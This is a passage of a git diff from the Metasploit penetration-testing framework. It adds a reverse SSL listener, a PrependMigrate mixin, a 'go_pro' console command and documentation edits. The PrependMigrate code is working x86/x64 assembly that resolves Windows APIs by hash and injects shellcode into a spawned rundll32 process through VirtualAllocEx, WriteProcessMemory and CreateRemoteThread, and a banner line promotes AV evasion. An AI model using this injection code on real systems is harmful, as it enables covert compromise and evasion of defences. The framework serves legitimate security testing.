== 4) ? "0.0.0.0" : "::0" + + addrs = [ Rex::Socket.addr_ntoa(addr), any ] + + comm = datastore['ReverseListenerComm'] + if comm.to_s == "local" + comm = ::Rex::Socket::Comm::Local + else + comm = nil + end + + if not datastore['ReverseListenerBindAddress'].to_s.empty? + # Only try to bind to this specific interface + addrs = [ datastore['ReverseListenerBindAddress'] ] + + # Pick the right "any" address if either wildcard is used + addrs[0] = any if (addrs[0] == "0.0.0.0" or addrs == "::0") + end + addrs.each { |ip| + begin + + comm.extend(Rex::Socket::SslTcp) + self.listener_sock = Rex::Socket::SslTcpServer.create( + 'LocalHost' => datastore['LHOST'], + 'LocalPort' => datastore['LPORT'].to_i, + 'Comm' => comm, + 'SSLCert' => datastore['SSLCert'], + 'Context' => + { + 'Msf' => framework, + 'MsfPayload' => self, + 'MsfExploit' => assoc_exploit + }) + + ex = false + + comm_used = comm || Rex::Socket::SwitchBoard.best_comm( ip ) + comm_used = Rex::Socket::Comm::Local if comm_used == nil + + if( comm_used.respond_to?( :type ) and comm_used.respond_to?( :sid ) ) + via = "via the #{comm_used.type} on session #{comm_used.sid}" + else + via = "" + end + + print_status("Started reverse SSL handler on #{ip}:#{datastore['LPORT']} #{via}") + break + rescue + ex = $! + print_error("Handler failed to bind to #{ip}:#{datastore['LPORT']}") + end + } + raise ex if (ex) + end + +end + +end +end diff --git a/lib/msf/core/module/platform.rb b/lib/msf/core/module/platform.rb index d1be479c30..357c4e724b 100644 --- a/lib/msf/core/module/platform.rb +++ b/lib/msf/core/module/platform.rb @@ -479,4 +479,20 @@ class Msf::Module::Platform Rank = 100 Alias = "php" end + + # + # JavaScript + # + class JavaScript < Msf::Module::Platform + Rank = 100 + Alias = "js" + end + + # + # Python + # + class Python < Msf::Module::Platform + Rank = 100 + Alias = "python" + end end diff --git a/lib/msf/core/payload.rb b/lib/msf/core/payload.rb index b4154b0717..d8bb963a68 100644 --- a/lib/msf/core/payload.rb +++ b/lib/msf/core/payload.rb @@ -185,6 +185,15 @@ class Payload < Msf::Module return module_info['Payload'] ? module_info['Payload']['Assembly'] : nil end + # + # Sets the assembly string that describes the payload + # If this method is used to define the payload, a payload with no offsets will be created + # + def assembly=(asm) + module_info['Payload'] ||= {'Offsets' => {} } + module_info['Payload']['Assembly'] = asm + end + # # Returns the offsets to variables that must be substitute, if any. # diff --git a/lib/msf/core/payload/java.rb b/lib/msf/core/payload/java.rb index 37e563e6ee..851ffb4aaa 100644 --- a/lib/msf/core/payload/java.rb +++ b/lib/msf/core/payload/java.rb @@ -35,15 +35,14 @@ module Msf::Payload::Java end # - # Used by stagers to create a jar file as a Rex::Zip::Jar. Stagers define - # a list of class files in @class_files which are pulled from - # Msf::Config.data_directory. The configuration file is created by the - # payload's #config method. - # - # +opts+ can include: - # +:main_class+:: the name of the Main-Class attribute in the manifest. - # Defaults to "metasploit.Payload" + # Used by stagers to create a jar file as a {Rex::Zip::Jar}. Stagers + # define a list of class files in @class_files which are pulled from + # {Msf::Config.data_directory}. The configuration file is created by + # the payload's #config method. # + # @option opts :main_class [String] the name of the Main-Class + # attribute in the manifest. Defaults to "metasploit.Payload" + # @return [Rex::Zip::Jar] def generate_jar(opts={}) raise if not respond_to? :config # Allow changing the jar's Main Class in the manifest so wrappers @@ -63,12 +62,12 @@ module Msf::Payload::Java end # - # Like #generate_jar, this method is used by stagers to create a war file + # Like {#generate_jar}, this method is used by stagers to create a war file # as a Rex::Zip::Jar object. # - # +opts+ can include: - # +:app_name+:: the name of the \ attribute in the web.xml. - # Defaults to "NAME" + # @param opts [Hash] + # @option :app_name [String] Name of the \ attribute in the + # web.xml. Defaults to random # def generate_war(opts={}) raise if not respond_to? :config diff --git a/lib/msf/core/payload/single.rb b/lib/msf/core/payload/single.rb index 7a78b489bc..e97560c247 100644 --- a/lib/msf/core/payload/single.rb +++ b/lib/msf/core/payload/single.rb @@ -37,7 +37,7 @@ module Msf::Payload::Single # Otherwise, just use the default method to generate the single # payload else - internal_generate + super end end end diff --git a/lib/msf/core/payload/windows.rb b/lib/msf/core/payload/windows.rb index 64f5914f02..9dc956c8d8 100644 --- a/lib/msf/core/payload/windows.rb +++ b/lib/msf/core/payload/windows.rb @@ -11,6 +11,10 @@ require 'msf/core' ### module Msf::Payload::Windows + require 'msf/core/payload/windows/prepend_migrate' + # Provides the #prepends method + include Msf::Payload::Windows::PrependMigrate + # # ROR hash associations for some of the exit technique routines. # @@ -22,11 +26,16 @@ module Msf::Payload::Windows 'none' => 0x5DE2C5AA, # GetLastError } + + def generate + return prepends(super) + end + # # This mixin is chained within payloads that target the Windows platform. # It provides special variable substitution for things like EXITFUNC and # automatically adds it as a required option for exploits that use windows - # payloads. + # payloads. It also provides the migrate prepend. # def initialize(info = {}) ret = super( info ) @@ -53,7 +62,6 @@ module Msf::Payload::Windows [ Msf::OptRaw.new('EXITFUNC', [ true, "Exit technique: #{@@exit_types.keys.join(", ")}", 'process' ]) ], Msf::Payload::Windows ) - ret end diff --git a/lib/msf/core/payload/windows/prepend_migrate.rb b/lib/msf/core/payload/windows/prepend_migrate.rb new file mode 100644 index 0000000000..b8fb679db5 --- /dev/null +++ b/lib/msf/core/payload/windows/prepend_migrate.rb @@ -0,0 +1,520 @@ +require 'msf/core' + +### +# +# This mixin provides support for generating PrependMigrate blocks for Windows payloads +# +### +module Msf::Payload::Windows::PrependMigrate + + # + # Initialize + # + def initialize(info = {}) + ret = super( info ) + + register_advanced_options( + [ + Msf::OptBool.new('PrependMigrate', [ true, "Spawns and runs shellcode in new process", false ]), + Msf::OptString.new('PrependMigrateProc', [ false, "Process to spawn and run shellcode in" ]) + ], Msf::Payload::Windows ) + ret + end + + # + # Returns the state of the PrependMigrate option + # See https://github.com/rapid7/metasploit-framework/pull/917 + # for discussion. + # + def prepend_migrate? + !!(datastore['PrependMigrate'] && datastore['PrependMigrate'].to_s.downcase == 'true') + end + + # + # Overload the generate() call to prefix our stubs + # + def prepends(buf) + pre = '' + + test_arch = [ *(self.arch) ] + + if prepend_migrate? + # Handle all x86 code here + if test_arch.include?(ARCH_X86) + migrate_asm = prepend_migrate(buf) + pre << Metasm::Shellcode.assemble(Metasm::Ia32.new, migrate_asm).encode_string + # Handle all x64 code here + elsif test_arch.include?(ARCH_X86_64) or test_arch.include?(ARCH_X64) + migrate_asm = prepend_migrate_64(buf) + pre << Metasm::Shellcode.assemble(Metasm::X64.new, migrate_asm).encode_string + end + end + return pre + buf + end + + # + # Create assembly + # + def prepend_migrate(buf) + payloadsize = "0x%04x" % buf.length + procname = datastore['PrependMigrateProc'] || 'rundll32' + + # Prepare instructions to get address of block_api into ebp + block_api_start = <<-EOS + call start + EOS + block_api_asm = <<-EOS + api_call: + pushad ; We preserve all the registers for the caller, bar EAX and ECX. + mov ebp, esp ; Create a new stack frame + xor edx, edx ; Zero EDX + mov edx, [fs:edx+48] ; Get a pointer to the PEB + mov edx, [edx+12] ; Get PEB->Ldr + mov edx, [edx+20] ; Get the first module from the InMemoryOrder module list + next_mod: ; + mov esi, [edx+40] ; Get pointer to modules name (unicode string) + movzx ecx, word [edx+38] ; Set ECX to the length we want to check + xor edi, edi ; Clear EDI which will store the hash of the module name + loop_modname: ; + xor eax, eax ; Clear EAX + lodsb ; Read in the next byte of the name + cmp al, 'a' ; Some versions of Windows use lower case module names + jl not_lowercase ; + sub al, 0x20 ; If so normalise to uppercase + not_lowercase: ; + ror edi, 13 ; Rotate right our hash value + add edi, eax ; Add the next byte of the name + loop loop_modname ; Loop untill we have read enough + ; We now have the module hash computed + push edx ; Save the current position in the module list for later + push edi ; Save the current module hash for later + ; Proceed to iterate the export address table + mov edx, [edx+16] ; Get this modules base address + mov eax, [edx+60] ; Get PE header + add eax, edx ; Add the modules base address + mov eax, [eax+120] ; Get export tables RVA + test eax, eax ; Test if no export address table is present + jz get_next_mod1 ; If no EAT present, process the next module + add eax, edx ; Add the modules base address + push eax ; Save the current modules EAT + mov ecx, [eax+24] ; Get the number of function names + mov ebx, [eax+32] ; Get the rva of the function names + add ebx, edx ; Add the modules base address + ; Computing the module hash + function hash + get_next_func: ; + jecxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module + dec ecx ; Decrement the function name counter + mov esi, [ebx+ecx*4] ; Get rva of next module name + add esi, edx ; Add the modules base address + xor edi, edi ; Clear EDI which will store the hash of the function name + ; And compare it to the one we want + loop_funcname: ; + xor eax, eax ; Clear EAX + lodsb ; Read in the next byte of the ASCII function name + ror edi, 13 ; Rotate right our hash value + add edi, eax ; Add the next byte of the name + cmp al, ah ; Compare AL (the next byte from the name) to AH (null) + jne loop_funcname ; If we have not reached the null terminator, continue + add edi, [ebp-8] ; Add the current module hash to the function hash + cmp edi, [ebp+36] ; Compare the hash to the one we are searchnig for + jnz get_next_func ; Go compute the next function hash if we have not found it + ; If found, fix up stack, call the function and then value else compute the next one... + pop eax ; Restore the current modules EAT + mov ebx, [eax+36] ; Get the ordinal table rva + add ebx, edx ; Add the modules base address + mov cx, [ebx+2*ecx] ; Get the desired functions ordinal + mov ebx, [eax+28] ; Get the function addresses table rva + add ebx, edx ; Add the modules base address + mov eax, [ebx+4*ecx] ; Get the desired functions RVA + add eax, edx ; Add the modules base address to get the functions actual VA + ; We now fix up the stack and perform the call to the desired function... + finish: + mov [esp+36], eax ; Overwrite the old EAX value with the desired api address for the upcoming popad + pop ebx ; Clear off the current modules hash + pop ebx ; Clear off the current position in the module list + popad ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered + pop ecx ; Pop off the origional return address our caller will have pushed + pop edx ; Pop off the hash value our caller will have pushed + push ecx ; Push back the correct return value + jmp eax ; Jump into the required function + ; We now automagically return to the correct caller... + get_next_mod: ; + pop eax ; Pop off the current (now the previous) modules EAT + get_next_mod1: ; + pop edi ; Pop off the current (now the previous) modules hash + pop edx ; Restore our position in the module list + mov edx, [edx] ; Get the next module + jmp.i8 next_mod ; Process this module + ;-------------------------------------------------------------------------------------- + EOS + + # Prepare default exit block (sleep for a long long time) + exitblock = <<-EOS + ;sleep + push -1 + push 0xE035F044 ; hash( "kernel32.dll", "Sleep" ) + call ebp ; Sleep( ... ); + EOS + + # Check to see if we can find exitfunc in the payload + exitfunc_index = buf.index("\x68\xA6\x95\xBD\x9D\xFF\xD5\x3C\x06\x7C\x0A" + + "\x80\xFB\xE0\x75\x05\xBB\x47\x13\x72\x6F\x6A\x00\x53\xFF\xD5") + if exitfunc_index + exitblock_offset = "0x%04x + payload - exitblock" % (exitfunc_index - 5) + exitblock = "exitblock:\njmp $+#{exitblock_offset}" + end + + block_api_ebp_asm = <<-EOS + pop ebp ; Pop off the address of 'api_call' for calling later. + EOS + block_close_to_payload = '' + + # Check if we can find block_api in the payload + block_api = Metasm::Shellcode.assemble(Metasm::Ia32.new, block_api_asm).encode_string + block_api_index = buf.index(block_api) + if block_api_index + + # Prepare instructions to calculate address + ebp_offset = "0x%04x" % (block_api_index + 5) + block_api_ebp_asm = <<-EOS + jmp close_to_payload + return_from_close_to_payload: + pop ebp + add ebp, #{ebp_offset} + EOS + # Clear now-unneeded instructions + block_api_asm = '' + block_api_start = '' + block_close_to_payload = <<-EOS + close_to_payload: + call return_from_close_to_payload + EOS + end + + #put all pieces together + migrate_asm = <<-EOS + cld ; Clear the direction flag. + #{block_api_start} + #{block_api_asm} + start: + #{block_api_ebp_asm} + ; get our own startupinfo at esp+0x60 + add esp,-400 ; adjust the stack to avoid corruption + lea edx,[esp+0x60] + push edx + push 0xB16B4AB1 ; hash( "kernel32.dll", "GetStartupInfoA" ) + call ebp ; GetStartupInfoA( &si ); + + lea eax,[esp+0x60] ; Put startupinfo pointer back in eax + + jmp getcommand + gotcommand: + pop esi ; esi = address of process name (command line) + + ; create the process + lea edi,[eax+0x60] ; Offset of empty space for lpProcessInformation + push edi ; lpProcessInformation : write processinfo here + push eax ; lpStartupInfo : current info (read) + xor ebx,ebx + push ebx ; lpCurrentDirectory + push ebx ; lpEnvironment + push 0x08000004 ; dwCreationFlags CREATE_NO_WINDOW | CREATE_SUSPENDED + push ebx ; bInHeritHandles + push ebx ; lpThreadAttributes + push ebx ; lpProcessAttributes + push esi ; lpCommandLine + push ebx ; lpApplicationName + + push 0x863FCC79 ; hash( "kernel32.dll", "CreateProcessA" ) + call ebp ; CreateProcessA( &si ); + + ; if we didn't get a new process, use this one + test eax,eax + jz payload ; If process creation failed, jump to shellcode + + goodProcess: + ; allocate memory in the process (VirtualAllocEx()) + ; get handle + push 0x40 ; RWX + add bh,0x10 ; ebx = 0x1000 + push ebx ; MEM_COMMIT + push ebx ; size + xor ebx,ebx + push ebx ; address + push [edi] ; handle + push 0x3F9287AE ; hash( "kernel32.dll", "VirtualAllocEx" ) + call ebp ; VirtualAllocEx( ...); + + ; eax now contains the destination + ; WriteProcessMemory() + push esp ; lpNumberOfBytesWritten + push #{payloadsize} ; nSize + ; pick up pointer to shellcode & keep it on stack + jmp begin_of_payload + begin_of_payload_return: ; lpBuffer + push eax ; lpBaseAddress + push [edi] ; hProcess + push 0xE7BDD8C5 ; hash( "kernel32.dll", "WriteProcessMemory" ) + call ebp ; WriteProcessMemory( ...) + + ; run the code (CreateRemoteThread()) + push ebx ; lpthreadID + push ebx ; run immediately + push ebx ; no parameter + mov ecx,[esp-0x4] + push ecx ; shellcode + push ebx ; stacksize + push ebx ; lpThreadAttributes + push [edi] + push 0x799AACC6 ; hash( "kernel32.dll", "CreateRemoteThread" ) + call ebp ; CreateRemoteThread( ...); + + #{exitblock} ; jmp to exitfunc or long sleep + + getcommand: + call gotcommand + db "#{procname}" + db 0x00 + #{block_close_to_payload} + begin_of_payload: + call begin_of_payload_return + payload: + EOS + migrate_asm + end + + + def prepend_migrate_64(buf) + payloadsize = "0x%04x" % buf.length + procname = datastore['PrependMigrateProc'] || 'rundll32' + + # Prepare instructions to get address of block_api into ebp + block_api_start = <<-EOS + call start + EOS + block_api_asm = <<-EOS + api_call: + push r9 ; Save the 4th parameter + push r8 ; Save the 3rd parameter + push rdx ; Save the 2nd parameter + push rcx ; Save the 1st parameter + push rsi ; Save RSI + xor rdx, rdx ; Zero rdx + mov rdx, [gs:rdx+96] ; Get a pointer to the PEB + mov rdx, [rdx+24] ; Get PEB->Ldr + mov rdx, [rdx+32] ; Get the first module from the InMemoryOrder module list + next_mod: ; + mov rsi, [rdx+80] ; Get pointer to modules name (unicode string) + movzx rcx, word [rdx+74] ; Set rcx to the length we want to check + xor r9, r9 ; Clear r9 which will store the hash of the module name + loop_modname: ; + xor rax, rax ; Clear rax + lodsb ; Read in the next byte of the name + cmp al, 'a' ; Some versions of Windows use lower case module names + jl not_lowercase ; + sub al, 0x20 ; If so normalise to uppercase + not_lowercase: ; + ror r9d, 13 ; Rotate right our hash value + add r9d, eax ; Add the next byte of the name + loop loop_modname ; Loop untill we have read enough + ; We now have the module hash computed + push rdx ; Save the current position in the module list for later + push r9 ; Save the current module hash for later + ; Proceed to itterate the export address table + mov rdx, [rdx+32] ; Get this modules base address + mov eax, dword [rdx+60] ; Get PE header + add rax, rdx ; Add the modules base address + mov eax, dword [rax+136] ; Get export tables RVA + test rax, rax ; Test if no export address table is present + jz get_next_mod1 ; If no EAT present, process the next module + add rax, rdx ; Add the modules base address + push rax ; Save the current modules EAT + mov ecx, dword [rax+24] ; Get the number of function names + mov r8d, dword [rax+32] ; Get the rva of the function names + add r8, rdx ; Add the modules base address + ; Computing the module hash + function hash + get_next_func: ; + jecxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module + dec rcx ; Decrement the function name counter + mov esi, dword [r8+rcx*4]; Get rva of next module name + add rsi, rdx ; Add the modules base address + xor r9, r9 ; Clear r9 which will store the hash of the function name + ; And compare it to the one we want + loop_funcname: ; + xor rax, rax ; Clear rax + lodsb ; Read in the next byte of the ASCII function name + ror r9d, 13 ; Rotate right our hash value + add r9d, eax ; Add the next byte of the name + cmp al, ah ; Compare AL (the next byte from the name) to AH (null) + jne loop_funcname ; If we have not reached the null terminator, continue + add r9, [rsp+8] ; Add the current module hash to the function hash + cmp r9d, r10d ; Compare the hash to the one we are searchnig for + jnz get_next_func ; Go compute the next function hash if we have not found it + ; If found, fix up stack, call the function and then value else compute the next one... + pop rax ; Restore the current modules EAT + mov r8d, dword [rax+36] ; Get the ordinal table rva + add r8, rdx ; Add the modules base address + mov cx, [r8+2*rcx] ; Get the desired functions ordinal + mov r8d, dword [rax+28] ; Get the function addresses table rva + add r8, rdx ; Add the modules base address + mov eax, dword [r8+4*rcx]; Get the desired functions RVA + add rax, rdx ; Add the modules base address to get the functions actual VA + ; We now fix up the stack and perform the call to the drsired function... + finish: + pop r8 ; Clear off the current modules hash + pop r8 ; Clear off the current position in the module list + pop rsi ; Restore RSI + pop rcx ; Restore the 1st parameter + pop rdx ; Restore the 2nd parameter + pop r8 ; Restore the 3rd parameter + pop r9 ; Restore the 4th parameter + pop r10 ; pop off the return address + sub rsp, 32 ; reserve space for the four register params (4 * sizeof(QWORD) = 32) + ; It is the callers responsibility to restore RSP if need be (or alloc more space or align RSP). + push r10 ; push back the return address + jmp rax ; Jump into the required function + ; We now automagically return to the correct caller... + get_next_mod: ; + pop rax ; Pop off the current (now the previous) modules EAT + get_next_mod1: ; + pop r9 ; Pop off the current (now the previous) modules hash + pop rdx ; Restore our position in the module list + mov rdx, [rdx] ; Get the next module + jmp next_mod ; Process this module + EOS + + # Prepare default exit block (sleep for a long long time) + exitblock = <<-EOS + ;sleep + xor rcx,rcx + dec rcx ; rcx = -1 + mov r10d, 0xE035F044 ; hash( "kernel32.dll", "Sleep" ) + call rbp ; Sleep( ... ); + EOS + + # Check to see if we can find x64 exitfunc in the payload + exitfunc_index = buf.index("\x41\xBA\xA6\x95\xBD\x9D\xFF\xD5\x48\x83\xC4\x28\x3C\x06" + + "\x7C\x0A\x80\xFB\xE0\x75\x05\xBB\x47\x13\x72\x6F\x6A\x00\x59\x41\x89\xDA\xFF\xD5") + if exitfunc_index + exitblock_offset = "0x%04x + payload - exitblock" % (exitfunc_index - 5) + exitblock = "exitblock:\njmp $+#{exitblock_offset}" + end + + block_api_rbp_asm = <<-EOS + pop rbp ; Pop off the address of 'api_call' for calling later. + EOS + block_close_to_payload = '' + + # Check if we can find block_api in the payload + block_api = Metasm::Shellcode.assemble(Metasm::X64.new, block_api_asm).encode_string + block_api_index = buf.index(block_api) + if block_api_index + + # Prepare instructions to calculate address + rbp_offset = "0x%04x" % (block_api_index + 5) + block_api_rbp_asm = <<-EOS + jmp close_to_payload + return_from_close_to_payload: + pop rbp + add rbp, #{rbp_offset} + EOS + # Clear now-unneeded instructions + block_api_asm = '' + block_api_start = '' + block_close_to_payload = <<-EOS + close_to_payload: + call return_from_close_to_payload + EOS + end + + #put all pieces together + migrate_asm = <<-EOS + cld ; Clear the direction flag. + #{block_api_start} + #{block_api_asm} + start: + #{block_api_rbp_asm} + ; get our own startupinfo at esp+0x60 + add rsp,-400 ; adjust the stack to avoid corruption + lea rcx,[rsp+0x30] + mov r10d, 0xB16B4AB1 ; hash( "kernel32.dll", "GetStartupInfoA" ) + call rbp ; GetStartupInfoA( &si ); + + jmp getcommand + gotcommand: + pop rsi ; rsi = address of process name (command line) + + ; create the process + lea rdi,[rsp+0x110] ; Offset of empty space for lpProcessInformation + push rdi ; lpProcessInformation : write processinfo here + lea rcx,[rsp+0x58] + push rcx ; lpStartupInfo : current info (read) + xor rcx,rcx + push rcx ; lpCurrentDirectory + push rcx ; lpEnvironment + push 0x08000004 ; dwCreationFlags CREATE_NO_WINDOW | CREATE_SUSPENDED + push rcx ; bInHeritHandles + mov r9, rcx ; lpThreadAttributes + mov r8, rcx ; lpProcessAttributes + mov rdx, rsi ; lpCommandLine + ; rcx is already zero ; lpApplicationName + mov r10d, 0x863FCC79 ; hash( "kernel32.dll", "CreateProcessA" ) + call rbp ; CreateProcessA( &si ); + + ; if we didn't get a new process, use this one + test rax,rax + jz payload ; If process creation failed, jump to shellcode + + goodProcess: + ; allocate memory in the process (VirtualAllocEx()) + ; get handle + push 0x40 ; RWX + mov r9,0x1000 ; 0x1000 = MEM_COMMIT + mov r8,r9 ; size + xor rdx,rdx ; address + mov rcx, [rdi] ; handle + mov r10d, 0x3F9287AE ; hash( "kernel32.dll", "VirtualAllocEx" ) + call rbp ; VirtualAllocEx( ...); + + ; eax now contains the destination - save in ebx + mov rbx, rax ; lpBaseAddress + ; WriteProcessMemory() + push rsp ; lpNumberOfBytesWritten + mov r9, #{payloadsize} ; nSize + ; pick up pointer to shellcode & keep it on stack + jmp begin_of_payload + begin_of_payload_return: + pop r8 ; lpBuffer + mov rdx, rax ; lpBaseAddress + mov rcx, [rdi] ; hProcess + mov r10d, 0xE7BDD8C5 ; hash( "kernel32.dll", "WriteProcessMemory" ) + call rbp ; WriteProcessMemory( ...); + + ; run the code (CreateRemoteThread()) + xor rcx, rcx ; rdx = 0 + push rcx ; lpthreadID + push rcx ; run immediately + push rcx ; no parameter + mov r9,rbx ; shellcode + mov r8, rcx ; stacksize + ;rdx already equals 0 ; lpThreadAttributes + mov rcx, [rdi] + mov r10d, 0x799AACC6 ; hash( "kernel32.dll", "CreateRemoteThread" ) + call rbp ; CreateRemoteThread( ...); + + #{exitblock} ; jmp to exitfunc or long sleep + + getcommand: + call gotcommand + db "#{procname}" + db 0x00 + #{block_close_to_payload} + begin_of_payload: + call begin_of_payload_return + payload: + EOS + migrate_asm + end + +end + diff --git a/lib/msf/core/post/file.rb b/lib/msf/core/post/file.rb index db841aa46d..47a0677c1c 100644 --- a/lib/msf/core/post/file.rb +++ b/lib/msf/core/post/file.rb @@ -274,7 +274,7 @@ module Msf::Post::File end # - # Read a local file +local+ and write it as +remote+ on the remote file + # Read a local file +local+ and write it as +remote+ on the remote file # system # def upload_file(remote, local) @@ -304,7 +304,7 @@ module Msf::Post::File # def rename_file(new_file, old_file) #TODO: this is not ideal as the file contents are sent to meterp server and back to the client - write_file(new_file, read_file(old_file)) + write_file(new_file, read_file(old_file)) rm_f(old_file) end alias :move_file :rename_file @@ -315,7 +315,7 @@ protected # Meterpreter-specific file read. Returns contents of remote file # +file_name+ as a String or nil if there was an error # - # You should never call this method directly. Instead, call #read_file + # You should never call this method directly. Instead, call {#read_file} # which will call this if it is appropriate for the given session. # def _read_file_meterpreter(file_name) diff --git a/lib/msf/ui/console/command_dispatcher/core.rb b/lib/msf/ui/console/command_dispatcher/core.rb index b1deb09058..4b1bbb5fe0 100644 --- a/lib/msf/ui/console/command_dispatcher/core.rb +++ b/lib/msf/ui/console/command_dispatcher/core.rb @@ -68,6 +68,9 @@ class Core @@search_opts = Rex::Parser::Arguments.new( "-h" => [ false, "Help banner." ]) + @@go_pro_opts = Rex::Parser::Arguments.new( + "-h" => [ false, "Help banner." ]) + # The list of data store elements that cannot be set when in defanged # mode. DefangedProhibitedDataStoreElements = [ "MsfModulePaths" ] @@ -82,6 +85,7 @@ class Core "connect" => "Communicate with a host", "color" => "Toggle color", "exit" => "Exit the console", + "go_pro" => "Launch Metasploit web GUI", "help" => "Help menu", "info" => "Displays information about one or more module", "irb" => "Drop into irb scripting mode", @@ -89,7 +93,7 @@ class Core "kill" => "Kill a job", "load" => "Load a framework plugin", "loadpath" => "Searches for and loads modules from a path", - "popm" => "Pops the latest module off of the module stack and makes it active", + "popm" => "Pops the latest module off the stack and makes it active", "pushm" => "Pushes the active or list of modules onto the module stack", "previous" => "Sets the previously loaded module as the current module", "quit" => "Exit the console", @@ -133,6 +137,17 @@ class Core "Core" end + # Indicates the base dir where Metasploit Framework is installed. + def msfbase_dir + base = __FILE__ + while File.symlink?(base) + base = File.expand_path(File.readlink(base), File.dirname(base)) + end + File.expand_path( + File.join(File.dirname(base), "..","..","..","..","..") + ) + end + def cmd_color_help print_line "Usage: color <'true'|'false'|'auto'>" print_line @@ -340,6 +355,20 @@ class Core # def cmd_banner(*args) banner = "%cya" + Banner.to_s + "%clr\n\n" + + if is_apt + content = [ + "Large pentest? List, sort, group, tag and search your hosts and services\nin Metasploit Pro -- type 'go_pro' to launch it now.", + "Frustrated with proxy pivoting? Upgrade to layer-2 VPN pivoting with\nMetasploit Pro -- type 'go_pro' to launch it now.", + "Save your shells from AV! Upgrade to advanced AV evasion using dynamic\nexe templates with Metasploit Pro -- type 'go_pro' to launch it now.", + "Easy phishing: Set up email templates, landing pages and listeners\nin Metasploit Pro’s wizard -- type 'go_pro' to launch it now.", + "Using notepad to track pentests? Have Metasploit Pro report on hosts,\nservices, sessions and evidence -- type 'go_pro' to launch it now.", + "Tired of typing ‘set RHOSTS’? Click & pwn with Metasploit Pro\n-- type 'go_pro' to launch it now." + ] + banner << content.sample # Ruby 1.9-ism! + banner << "\n\n" + end + banner << " =[ %yelmetasploit v#{Msf::Framework::Version} [core:#{Msf::Framework::VersionCore} api:#{Msf::Framework::VersionAPI}]%clr\n" banner << "+ -- --=[ " banner << "#{framework.stats.num_exploits} exploits - #{framework.stats.num_auxiliary} auxiliary - #{framework.stats.num_post} post\n" @@ -347,6 +376,7 @@ class Core oldwarn = nil avdwarn = nil + banner << "#{framework.stats.num_payloads} payloads - #{framework.stats.num_encoders} encoders - #{framework.stats.num_nops} nops\n" if ( ::Msf::Framework::RepoRevision.to_i > 0 and ::Msf::Framework::RepoUpdatedDate) tstamp = ::Msf::Framework::RepoUpdatedDate.strftime("%Y.%m.%d") @@ -2575,7 +2605,124 @@ class Core return res end -protected + def cmd_go_pro_help + print_line "Usage: go_pro" + print_line + print_line "Launch the Metasploit web GUI" + print_line + end + + def cmd_go_pro(*args) + @@go_pro_opts.parse(args) do |opt, idx, val| + case opt + when "-h" + cmd_go_pro_help + return false + end + end + unless is_apt + print_line " This command is only available on deb package installations," + print_line " such as Kali Linux." + return false + end + unless is_metasploit_debian_package_installed + print_warning "You need to install the 'metasploit' package first." + print_warning "Type 'apt-get install -y metasploit' to do this now, then exit" + print_warning "and restart msfconsole to try again." + return false + end + # If I've gotten this far, I know that this is apt-installed, the + # metasploit package is here, and I'm ready to rock. + if is_metasploit_service_running + launch_metasploit_browser + else + print_status "Starting the Metasploit services. This can take a little time." + start_metasploit_service + select(nil,nil,nil,3) + if is_metasploit_service_running + launch_metasploit_browser + else + print_error "Metasploit services aren't running. Type 'service metasploit start' and try again." + end + end + return true + end + + protected + + # + # Go_pro methods -- these are used to start and connect to + # Metasploit Community / Pro. + # + + # Note that this presumes a default port. + def launch_metasploit_browser + cmd = "/usr/bin/xdg-open" + unless ::File.executable_real? cmd + print_warning "Can't figure out your default browser, please visit https://localhost:3790" + print_warning "to start Metasploit Community / Pro." + return false + end + svc_log = File.expand_path(File.join(msfbase_dir, ".." , "engine", "prosvc_stdout.log")) + return unless ::File.readable_real? svc_log + really_started = false + # This method is a little lame but it's a short enough file that it + # shouldn't really matter that we open and close it a few times. + timeout = 0 + until really_started + select(nil,nil,nil,3) + log_data = ::File.open(svc_log, "rb") {|f| f.read f.stat.size} + really_started = log_data =~ /^\[\*\] Ready/ # This is webserver ready + if really_started + print_line + print_good "Metasploit Community / Pro is up and running, connecting now." + print_good "If this is your first time connecting, you will be presented with" + print_good "a self-signed certificate warning. Accept it to create a new user." + select(nil,nil,nil,7) + browser_pid = ::Process.spawn(cmd, "https://localhost:3790") + ::Process.detach(browser_pid) + elsif timeout >= 200 # 200 * 3 seconds is 10 minutes and that is tons of time. + print_line + print_warning "For some reason, Community / Pro didn't start in a timely fashion." + print_warning "You might want to restart the Metasploit services by typing" + print_warning "'service metasploit restart' . Sorry it didn't work out." + return false + else + print "." + timeout += 1 + end + end + end + + def start_metasploit_service + cmd = File.expand_path(File.join(msfbase_dir, '..', '..', '..', 'scripts', 'start.sh')) + return unless ::File.executable_real? cmd + %x{#{cmd}}.each_line do |line| + print_status line.chomp + end + end + + def is_metasploit_service_running + cmd = "/usr/sbin/service" + system("#{cmd} metasploit status >/dev/null") # Both running returns true, otherwise, false. + end + + def is_metasploit_debian_package_installed + cmd = "/usr/bin/dpkg" + return unless ::File.executable_real? cmd + installed_packages = %x{#{cmd} -l 'metasploit'} + installed_packages.each_line do |line| + if line =~ /^.i metasploit / # Yes, trailing space + return true + end + end + return false + end + + # Determines if this is an apt-based install + def is_apt + File.exists?(File.expand_path(File.join(msfbase_dir, '.apt'))) + end # # Module list enumeration diff --git a/lib/msf/ui/console/driver.rb b/lib/msf/ui/console/driver.rb index 49d9698482..10c2836a80 100644 --- a/lib/msf/ui/console/driver.rb +++ b/lib/msf/ui/console/driver.rb @@ -171,7 +171,9 @@ class Driver < Msf::Ui::Driver # Append any migration paths necessary to bring the database online if opts['DatabaseMigrationPaths'] - opts['DatabaseMigrationPaths'].each {|m| framework.db.add_migration_path(m) } + opts['DatabaseMigrationPaths'].each do |migrations_path| + ActiveRecord::Migrator.migrations_paths << migrations_path + end end # Look for our database configuration in the following places, in order: diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb index 40f14ed747..33a41ca7c3 100755 --- a/lib/msf/util/exe.rb +++ b/lib/msf/util/exe.rb @@ -1,21 +1,13 @@ # -*- coding: binary -*- -## -# $Id: exe.rb 14286 2011-11-20 01:41:04Z rapid7 $ -## -### -# -# framework-util-exe -# -------------- +module Msf +module Util + # # The class provides methods for creating and encoding executable file # formats for various platforms. It is a replacement for the previous # code in Rex::Text # -### - -module Msf -module Util class EXE require 'rex' @@ -609,6 +601,7 @@ require 'digest/sha1' end # Create an ELF executable containing the payload provided in +code+ + # # For the default template, this method just appends the payload, checks if # the template is 32 or 64 bit and adjusts the offsets accordingly # For user-provided templates, modifies the header to mark all executable @@ -1187,8 +1180,9 @@ End Sub # Creates a jar file that drops the provided +exe+ into a random file name # in the system's temp dir and executes it. # - # See also: 